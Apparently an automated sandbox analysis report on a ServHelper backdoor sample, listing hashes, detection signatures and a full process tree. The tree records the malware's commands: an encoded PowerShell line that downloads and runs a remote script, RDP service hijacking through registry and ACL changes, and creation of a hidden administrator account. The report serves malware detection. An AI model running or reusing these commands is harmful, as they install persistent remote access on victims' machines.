Analysis
-
max time kernel
138s -
max time network
39s -
platform
windows7_x64 -
resource
win7-en-20210920 -
submitted
24-09-2021 19:05
Static task
static1
Behavioral task
behavioral1
Sample
5367615a3d3f95eeab592a53716ed3bb.exe
Resource
win7-en-20210920
Behavioral task
behavioral2
Sample
5367615a3d3f95eeab592a53716ed3bb.exe
Resource
win10-en-20210920
General
-
Target
5367615a3d3f95eeab592a53716ed3bb.exe
-
Size
5.7MB
-
MD5
5367615a3d3f95eeab592a53716ed3bb
-
SHA1
8592c6e78aa592d9f135dbe9d97cf2f524dbeaed
-
SHA256
af7e2ecb8e84ad61c276347e0e766e21a043f2119dacb19ae538bddf5d0452f0
-
SHA512
383fada6525e8ced7cc40c14d6cb6718583da6dca4f7db2654c15c0842a692d2011364da6f53690f005ed33f90606e81836eefeb8df04de655904fa5776b8790
Malware Config
Extracted
https://raw.githubusercontent.com/sqlitey/sqlite/master/speed.ps1
Signatures
-
ServHelper
ServHelper is a backdoor written in Delphi and is associated with the hacking group TA505.
-
Grants admin privileges 1 TTPs
Uses net.exe to modify the user's privileges.
-
Blocklisted process makes network request 2 IoCs
flow pid Process 5 1812 powershell.exe 6 1812 powershell.exe -
Modifies RDP port number used by Windows 1 TTPs
-
Possible privilege escalation attempt 8 IoCs
pid Process 856 icacls.exe 1856 icacls.exe 612 icacls.exe 1608 icacls.exe 1980 icacls.exe 1088 icacls.exe 1564 takeown.exe 1560 icacls.exe -
Sets DLL path for service in the registry 2 TTPs
-
resource yara_rule behavioral1/files/0x000a000000012233-131.dat upx behavioral1/files/0x0009000000012237-132.dat upx -
Loads dropped DLL 2 IoCs
pid Process 1444 Process not Found 1444 Process not Found -
Modifies file permissions 1 TTPs 8 IoCs
pid Process 612 icacls.exe 1608 icacls.exe 1980 icacls.exe 1088 icacls.exe 1564 takeown.exe 1560 icacls.exe 856 icacls.exe 1856 icacls.exe -
Drops file in System32 directory 1 IoCs
description ioc Process File created C:\Windows\system32\rfxvmt.dll powershell.exe -
Drops file in Windows directory 9 IoCs
description ioc Process File created C:\Windows\branding\mediasrv.png powershell.exe File created C:\Windows\branding\wupsvc.jpg powershell.exe File opened for modification C:\Windows\branding\Basebrd powershell.exe File opened for modification C:\Windows\branding\ShellBrd powershell.exe File opened for modification C:\Windows\branding\mediasvc.png powershell.exe File opened for modification C:\Windows\branding\wupsvc.jpg powershell.exe File created C:\Windows\branding\mediasvc.png powershell.exe File opened for modification C:\Windows\branding\mediasrv.png powershell.exe File created C:\Windows\ServiceProfiles\NetworkService\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\VRQGBH1KYAJHSYPWW58T.temp powershell.exe -
Modifies data under HKEY_USERS 4 IoCs
description ioc Process Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ WMIC.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ WMIC.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage powershell.exe Set value (data) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Explorer\StartPage\StartMenu_Start_Time = a0e0008677b1d701 powershell.exe -
Modifies registry key 1 TTPs 1 IoCs
pid Process 812 reg.exe -
Runs net.exe
-
Suspicious behavior: EnumeratesProcesses 8 IoCs
pid Process 952 powershell.exe 1808 powershell.exe 1508 powershell.exe 1960 powershell.exe 952 powershell.exe 952 powershell.exe 952 powershell.exe 1812 powershell.exe -
Suspicious behavior: LoadsDriver 5 IoCs
pid Process 460 Process not Found 1444 Process not Found 1444 Process not Found 1444 Process not Found 1444 Process not Found -
Suspicious use of AdjustPrivilegeToken 18 IoCs
description pid Process Token: SeDebugPrivilege 952 powershell.exe Token: SeDebugPrivilege 1808 powershell.exe Token: SeDebugPrivilege 1508 powershell.exe Token: SeDebugPrivilege 1960 powershell.exe Token: SeRestorePrivilege 856 icacls.exe Token: SeAssignPrimaryTokenPrivilege 1112 WMIC.exe Token: SeIncreaseQuotaPrivilege 1112 WMIC.exe Token: SeAuditPrivilege 1112 WMIC.exe Token: SeAssignPrimaryTokenPrivilege 1112 WMIC.exe Token: SeIncreaseQuotaPrivilege 1112 WMIC.exe Token: SeAuditPrivilege 1112 WMIC.exe Token: SeAssignPrimaryTokenPrivilege 1252 WMIC.exe Token: SeIncreaseQuotaPrivilege 1252 WMIC.exe Token: SeAuditPrivilege 1252 WMIC.exe Token: SeAssignPrimaryTokenPrivilege 1252 WMIC.exe Token: SeIncreaseQuotaPrivilege 1252 WMIC.exe Token: SeAuditPrivilege 1252 WMIC.exe Token: SeDebugPrivilege 1812 powershell.exe -
Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 1756 wrote to memory of 952 1756 5367615a3d3f95eeab592a53716ed3bb.exe 28 PID 1756 wrote to memory of 952 1756 5367615a3d3f95eeab592a53716ed3bb.exe 28 PID 1756 wrote to memory of 952 1756 5367615a3d3f95eeab592a53716ed3bb.exe 28 PID 952 wrote to memory of 856 952 powershell.exe 30 PID 952 wrote to memory of 856 952 powershell.exe 30 PID 952 wrote to memory of 856 952 powershell.exe 30 PID 856 wrote to memory of 540 856 csc.exe 31 PID 856 wrote to memory of 540 856 csc.exe 31 PID 856 wrote to memory of 540 856 csc.exe 31 PID 952 wrote to memory of 1808 952 powershell.exe 32 PID 952 wrote to memory of 1808 952 powershell.exe 32 PID 952 wrote to memory of 1808 952 powershell.exe 32 PID 952 wrote to memory of 1508 952 powershell.exe 34 PID 952 wrote to memory of 1508 952 powershell.exe 34 PID 952 wrote to memory of 1508 952 powershell.exe 34 PID 952 wrote to memory of 1960 952 powershell.exe 36 PID 952 wrote to memory of 1960 952 powershell.exe 36 PID 952 wrote to memory of 1960 952 powershell.exe 36 PID 952 wrote to memory of 1564 952 powershell.exe 38 PID 952 wrote to memory of 1564 952 powershell.exe 38 PID 952 wrote to memory of 1564 952 powershell.exe 38 PID 952 wrote to memory of 1560 952 powershell.exe 39 PID 952 wrote to memory of 1560 952 powershell.exe 39 PID 952 wrote to memory of 1560 952 powershell.exe 39 PID 952 wrote to memory of 856 952 powershell.exe 40 PID 952 wrote to memory of 856 952 powershell.exe 40 PID 952 wrote to memory of 856 952 powershell.exe 40 PID 952 wrote to memory of 1856 952 powershell.exe 41 PID 952 wrote to memory of 1856 952 powershell.exe 41 PID 952 wrote to memory of 1856 952 powershell.exe 41 PID 952 wrote to memory of 612 952 powershell.exe 42 PID 952 wrote to memory of 612 952 powershell.exe 42 PID 952 wrote to memory of 612 952 powershell.exe 42 PID 952 wrote to memory of 1608 952 powershell.exe 43 PID 952 wrote to memory of 1608 952 powershell.exe 43 PID 952 wrote to memory of 1608 952 powershell.exe 43 PID 952 wrote to memory of 1980 952 powershell.exe 44 PID 952 wrote to memory of 1980 952 powershell.exe 44 PID 952 wrote to memory of 1980 952 powershell.exe 44 PID 952 wrote to memory of 1088 952 powershell.exe 45 PID 952 wrote to memory of 1088 952 powershell.exe 45 PID 952 wrote to memory of 1088 952 powershell.exe 45 PID 952 wrote to memory of 392 952 powershell.exe 46 PID 952 wrote to memory of 392 952 powershell.exe 46 PID 952 wrote to memory of 392 952 powershell.exe 46 PID 952 wrote to memory of 812 952 powershell.exe 47 PID 952 wrote to memory of 812 952 powershell.exe 47 PID 952 wrote to memory of 812 952 powershell.exe 47 PID 952 wrote to memory of 1820 952 powershell.exe 48 PID 952 wrote to memory of 1820 952 powershell.exe 48 PID 952 wrote to memory of 1820 952 powershell.exe 48 PID 952 wrote to memory of 1400 952 powershell.exe 49 PID 952 wrote to memory of 1400 952 powershell.exe 49 PID 952 wrote to memory of 1400 952 powershell.exe 49 PID 1400 wrote to memory of 732 1400 net.exe 50 PID 1400 wrote to memory of 732 1400 net.exe 50 PID 1400 wrote to memory of 732 1400 net.exe 50 PID 952 wrote to memory of 1636 952 powershell.exe 51 PID 952 wrote to memory of 1636 952 powershell.exe 51 PID 952 wrote to memory of 1636 952 powershell.exe 51 PID 1636 wrote to memory of 556 1636 cmd.exe 52 PID 1636 wrote to memory of 556 1636 cmd.exe 52 PID 1636 wrote to memory of 556 1636 cmd.exe 52 PID 556 wrote to memory of 1556 556 cmd.exe 53
Processes
-
C:\Users\Admin\AppData\Local\Temp\5367615a3d3f95eeab592a53716ed3bb.exe"C:\Users\Admin\AppData\Local\Temp\5367615a3d3f95eeab592a53716ed3bb.exe"1⤵
- Suspicious use of WriteProcessMemory
PID:1756 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" -ep bypass & 'C:\Users\Admin\AppData\Local\Temp\\ready.ps1'2⤵
- Drops file in System32 directory
- Drops file in Windows directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:952 -
C:\Windows\Microsoft.NET\Framework64\v2.0.50727\csc.exe"C:\Windows\Microsoft.NET\Framework64\v2.0.50727\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\kc8kvr8p.cmdline"3⤵
- Suspicious use of WriteProcessMemory
PID:856 -
C:\Windows\Microsoft.NET\Framework64\v2.0.50727\cvtres.exeC:\Windows\Microsoft.NET\Framework64\v2.0.50727\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESEB87.tmp" "c:\Users\Admin\AppData\Local\Temp\CSCEB86.tmp"4⤵PID:540
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -s -NoLogo -NoProfile3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1808
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -s -NoLogo -NoProfile3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1508
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -s -NoLogo -NoProfile3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1960
-
-
C:\Windows\system32\takeown.exe"C:\Windows\system32\takeown.exe" /A /F rfxvmt.dll3⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:1564
-
-
C:\Windows\system32\icacls.exe"C:\Windows\system32\icacls.exe" rfxvmt.dll /inheritance:d3⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:1560
-
-
C:\Windows\system32\icacls.exe"C:\Windows\system32\icacls.exe" rfxvmt.dll /setowner "NT SERVICE\TrustedInstaller"3⤵
- Possible privilege escalation attempt
- Modifies file permissions
- Suspicious use of AdjustPrivilegeToken
PID:856
-
-
C:\Windows\system32\icacls.exe"C:\Windows\system32\icacls.exe" rfxvmt.dll /grant "NT SERVICE\TrustedInstaller:F"3⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:1856
-
-
C:\Windows\system32\icacls.exe"C:\Windows\system32\icacls.exe" rfxvmt.dll /remove "NT AUTHORITY\SYSTEM"3⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:612
-
-
C:\Windows\system32\icacls.exe"C:\Windows\system32\icacls.exe" rfxvmt.dll /grant "NT AUTHORITY\SYSTEM:RX"3⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:1608
-
-
C:\Windows\system32\icacls.exe"C:\Windows\system32\icacls.exe" rfxvmt.dll /remove BUILTIN\Administrators3⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:1980
-
-
C:\Windows\system32\icacls.exe"C:\Windows\system32\icacls.exe" rfxvmt.dll /grant BUILTIN\Administrators:RX3⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:1088
-
-
C:\Windows\system32\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 0x1C21 /f3⤵PID:392
-
-
C:\Windows\system32\reg.exe"C:\Windows\system32\reg.exe" add HKLM\system\currentcontrolset\services\TermService\parameters /v ServiceDLL /t REG_EXPAND_SZ /d C:\Windows\branding\mediasrv.png /f3⤵
- Modifies registry key
PID:812
-
-
C:\Windows\system32\reg.exe"C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v fEnableWddmDriver /t reg_dword /d 0 /f3⤵PID:1820
-
-
C:\Windows\system32\net.exe"C:\Windows\system32\net.exe" localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add3⤵
- Suspicious use of WriteProcessMemory
PID:1400 -
C:\Windows\system32\net1.exeC:\Windows\system32\net1 localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add4⤵PID:732
-
-
-
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c cmd /c net start rdpdr3⤵
- Suspicious use of WriteProcessMemory
PID:1636 -
C:\Windows\system32\cmd.execmd /c net start rdpdr4⤵
- Suspicious use of WriteProcessMemory
PID:556 -
C:\Windows\system32\net.exenet start rdpdr5⤵PID:1556
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 start rdpdr6⤵PID:1740
-
-
-
-
-
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c cmd /c net start TermService3⤵PID:892
-
C:\Windows\system32\cmd.execmd /c net start TermService4⤵PID:1948
-
C:\Windows\system32\net.exenet start TermService5⤵PID:944
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 start TermService6⤵PID:1968
-
-
-
-
-
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c del %temp%\*.ps1 /f3⤵PID:1516
-
-
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c del %temp%\*.txt /f3⤵PID:1528
-
-
-
C:\Windows\System32\cmd.execmd /C net.exe user wgautilacc Ghar4f5 /del1⤵PID:1292
-
C:\Windows\system32\net.exenet.exe user wgautilacc Ghar4f5 /del2⤵PID:1384
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 user wgautilacc Ghar4f5 /del3⤵PID:1260
-
-
-
C:\Windows\System32\cmd.execmd /C net.exe user wgautilacc OLe9MZ8B /add1⤵PID:928
-
C:\Windows\system32\net.exenet.exe user wgautilacc OLe9MZ8B /add2⤵PID:1352
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 user wgautilacc OLe9MZ8B /add3⤵PID:784
-
-
-
C:\Windows\System32\cmd.execmd /C net.exe LOCALGROUP "Remote Desktop Users" wgautilacc /ADD1⤵PID:816
-
C:\Windows\system32\net.exenet.exe LOCALGROUP "Remote Desktop Users" wgautilacc /ADD2⤵PID:612
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" wgautilacc /ADD3⤵PID:1984
-
-
-
C:\Windows\System32\cmd.execmd /C net.exe LOCALGROUP "Remote Desktop Users" JZCKHXIN$ /ADD1⤵PID:1304
-
C:\Windows\system32\net.exenet.exe LOCALGROUP "Remote Desktop Users" JZCKHXIN$ /ADD2⤵PID:1812
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" JZCKHXIN$ /ADD3⤵PID:1412
-
-
-
C:\Windows\System32\cmd.execmd /C net.exe LOCALGROUP "Administrators" wgautilacc /ADD1⤵PID:1868
-
C:\Windows\system32\net.exenet.exe LOCALGROUP "Administrators" wgautilacc /ADD2⤵PID:1400
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 LOCALGROUP "Administrators" wgautilacc /ADD3⤵PID:1532
-
-
-
C:\Windows\System32\cmd.execmd /C net.exe user wgautilacc OLe9MZ8B1⤵PID:556
-
C:\Windows\system32\net.exenet.exe user wgautilacc OLe9MZ8B2⤵PID:1728
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 user wgautilacc OLe9MZ8B3⤵PID:1604
-
-
-
C:\Windows\System32\cmd.execmd.exe /C wmic path win32_VideoController get name1⤵PID:1384
-
C:\Windows\System32\Wbem\WMIC.exewmic path win32_VideoController get name2⤵
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
PID:1112
-
-
C:\Windows\System32\cmd.execmd.exe /C wmic CPU get NAME1⤵PID:928
-
C:\Windows\System32\Wbem\WMIC.exewmic CPU get NAME2⤵
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
PID:1252
-
-
C:\Windows\System32\cmd.execmd.exe /C cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA1⤵PID:1984
-
C:\Windows\system32\cmd.execmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA2⤵PID:1344
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA3⤵
- Blocklisted process makes network request
- Drops file in Windows directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1812
-
-